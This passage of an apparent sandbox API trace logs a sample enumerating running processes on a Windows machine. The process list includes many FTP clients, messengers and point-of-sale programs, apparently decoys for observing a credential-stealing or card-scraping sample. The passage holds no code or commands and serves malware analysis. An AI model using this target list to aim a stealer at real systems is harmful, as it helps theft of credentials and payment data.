dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.101] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.102] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.103] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0105.104] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0105.104] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0105.105] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0105.106] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0105.107] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0105.108] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.111] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0105.111] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0105.112] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0105.113] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0105.114] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0105.115] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0105.116] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0105.117] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0105.117] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0105.118] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0105.119] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0105.120] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0105.121] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0105.121] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0105.123] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0105.123] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0105.124] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0105.124] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0105.125] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0105.125] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0105.232] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0105.233] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0105.234] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0105.235] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0105.237] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0105.238] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0105.239] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0105.240] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0105.241] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0105.243] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0105.244] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0105.245] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0105.246] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0105.247] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0105.249] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0105.250] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0105.251] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0105.252] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0105.253] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0105.255] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0105.256] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0105.257] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0105.258] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0105.259] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0105.260] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0105.261] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0105.262] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0105.264] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0105.265] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0105.266] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0105.267] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0105.268] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0105.269] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0105.270] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0105.271] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0105.272] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0105.403] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0105.404] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0105.406] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0105.407] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0105.408] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0105.409] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nascar_challenges.exe")) returned 1 [0105.410] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments characterized converter.exe")) returned 1 [0105.412] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mlb-noon-origin.exe")) returned 1 [0105.413] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.414] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1064, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.415] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.416] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0105.417] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.418] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0105.419] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0105.420] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0105.421] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.423] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0105.424] Process32NextW (in: hSnapshot=0x324, lppe=0x289f9ec | 